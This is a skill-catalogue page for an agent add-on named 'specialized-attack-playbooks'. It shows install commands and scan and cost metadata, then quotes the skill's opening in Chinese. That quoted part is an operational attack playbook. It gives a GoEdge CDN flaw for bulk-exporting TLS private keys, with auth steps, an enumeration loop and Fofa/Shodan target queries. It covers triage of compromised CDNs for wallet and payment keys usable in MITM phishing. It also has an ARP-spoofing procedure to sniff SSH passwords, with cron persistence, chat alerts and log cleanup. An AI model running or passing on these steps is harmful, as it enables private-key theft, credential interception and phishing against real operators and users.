CyberStrikeAI is a security operations workspace that turns natural-language plans into governed, auditable actions while recording evidence and results for later reuse. Authorized security teams use it to manage agents, tools, vulnerabilities, knowledge, and attack-chain analysis. Catalogue add-ons provide agent and skill workflows for working with the platform.
Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/Ed1s0nZ/CyberStrikeAInpx agentmods add skills/ed1s0nz/cyberstrikeai/specialized-attack-playbooksWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/ed1s0nz/cyberstrikeai/specialized-attack-playbooks)<a href="https://agentmods.dev/skills/ed1s0nz/cyberstrikeai/specialized-attack-playbooks"><img src="https://agentmods.dev/badge/skills/ed1s0nz/cyberstrikeai/specialized-attack-playbooks/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/ed1s0nz/cyberstrikeai/specialized-attack-playbooks"><img src="https://agentmods.dev/badge/skills/ed1s0nz/cyberstrikeai/specialized-attack-playbooks.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 1 finding, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Tool Misuse · line 44 Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00091 | $0.04002 |
| Opus 5 | $0.00046 | $0.02001 |
| Sonnet 5 | $0.00018 | $0.00800 |
| Haiku 4.5 | $0.00009 | $0.00400 |
Grade A, and why
specialized-attack-playbooks scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
指纹: curl -s http://T:8002/ → {"message":"Welcome to API"} | POST /SSLCertService/findEnabledSSLCertConfig → 要X-Cloud-Access-Token How it starts
The opening of the file, as written. The whole thing — 171 lines — stays where its author put it; the contents beside it link to each section on GitHub.
专题实战利用（全内联）
GoEdge CDN(8002端口)私钥批量导出
指纹: curl -s http://T:8002/ → {"message":"Welcome to API"} | POST /SSLCertService/findEnabledSSLCertConfig → 要X-Cloud-Access-Token
漏洞: findEnabledSSLCertConfig 只校验身份不校验范围 → 任意管理员key可导出全系统TLS私钥(keyData=明文PEM base64)
认证两步: POST /APIAccessTokenService/getAPIAccessToken {"accessKeyId":AK,"accessKey":SK,"type":"admin"} → data.token
后续请求带 Header X-Cloud-Access-Token: <token>
批量提取(Python): for id in range(1,500): POST /SSLCertService/findEnabledSSLCertConfig {"sslCertId":id} headers={token}
→ r.json()['data']['sslCertJSON'] base64解码 → json → dnsNames + keyData(base64 PEM私钥) | 跳过 b64=="bnVsbA=="(null)
资产: Fofa app="GoEdge"&&port="8002" / Shodan http.title:"GoEdge" port:8002 / "Welcome to API" port:8002
利用: 私钥→MITM/流量解密/伪造证书 | AK/SK凭据复用打其他GoEdge实例 | 拿管理权访问CDN边缘节点
灰产CDN后渗透取证(拿下CDN后摸清它在运营什么)
五步: ①全量枚举证书(ID 1-500,过期/禁用的也含私钥,揭示历史运营) ②关键词初分类 ③真实访问验证(关键!不能只信证书域名,
requests跟随重定向看最终落地页title/meta/h1/JS跳转) ④按真实内容重新分类 ⑤标注高价值目标
关键词矩阵(dnsNames分类): 钱包钓鱼 tokenpocket/tokenpoket(字母置换抢注)/metamask/trust | 支付诈骗 paypal/wxpay/bayspay/147pay
成人付费站群 xiuren/xrw/sood/laikantu/tuhaokan/kantu | 盗版影视 7she/acgzy/yiyiyi/dilige/80sjdy/mogudong
VPN翻墙 futo-on/xyou/gogocloud/douyinjiasu/tudoujiasu | 泛站群SEO 0x000/tc7/vn00/fc000/ikkk(程序化泛解析跳转链) | 彩票诈骗 0149/dh49/999pian(pian=骗)
高价值标注: A级有效期内钱包/支付私钥→MITM/HTTPS钓鱼绿锁 | B级ACME自动续期证书可持续监控 | C级AK/SK凭据复用+WHOIS关联运营者其他资产
识别特征(🔴极高): 同服务器混部正常+涉黄+盗版 | 大量泛站群通配符证书 | 品牌域名+仿冒域名同CDN(内部人运营钓鱼) | 唯一管理员key可导全部私钥(GoEdge默认无隔离)
ARP MITM同L2窃取SSH密码(目标同网段,密码未知)
适用: 目标同L2(同Hyper-V宿主/同VLAN)+有已控跳板机+目标SSH密码未知
🚨关键坑: arpspoof报"couldn't arp for host"(libnet解析MAC在Hyper-V/CentOS7常超时)
修复: ip neigh replace 目标IP lladdr 目标MAC dev eth0 nud permanent (网关同样预填) → 跳过libnet解析,arpspoof即正常
部署: echo 1>/proc/sys/net/ipv4/ip_forward | arpspoof×4双向(目标↔网关各一进程) | tcpdump -w x.pcap -s0 -C100 -W10 host 目标
dsniff -i eth0 -w /tmp/dsniff.log (专抓SSH/FTP/HTTP明文密码)
持久化: crontab '*/2 * * * * /root/mitm_chk.sh'补位 + rc.local开机自启
验证: pgrep -c arpspoof==4 | tcpdump -r x.pcap看是否截获目标流量
事件通知: hermes cron create 'every 2 minutes' --no-agent --deliver feishu:chat_id (有鱼才通知:脚本检测dsniff日志新内容→stdout输出→投递,无新内容静默)
清理: pkill arpspoof/tcpdump/dsniff | echo 0>ip_forward | crontab去mitm行 | ip neigh del 各条 | rm pcap/log
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 11d ago First seen · 171 lines · 91 tokens per session scan A 4588025ac982
specialized-attack-playbooks is a skill published in the GitHub repository Ed1s0nZ/CyberStrikeAI (6,410 stars, last pushed 16d ago), licensed Apache-2.0. It adds 91 tokens to every session and 4,002 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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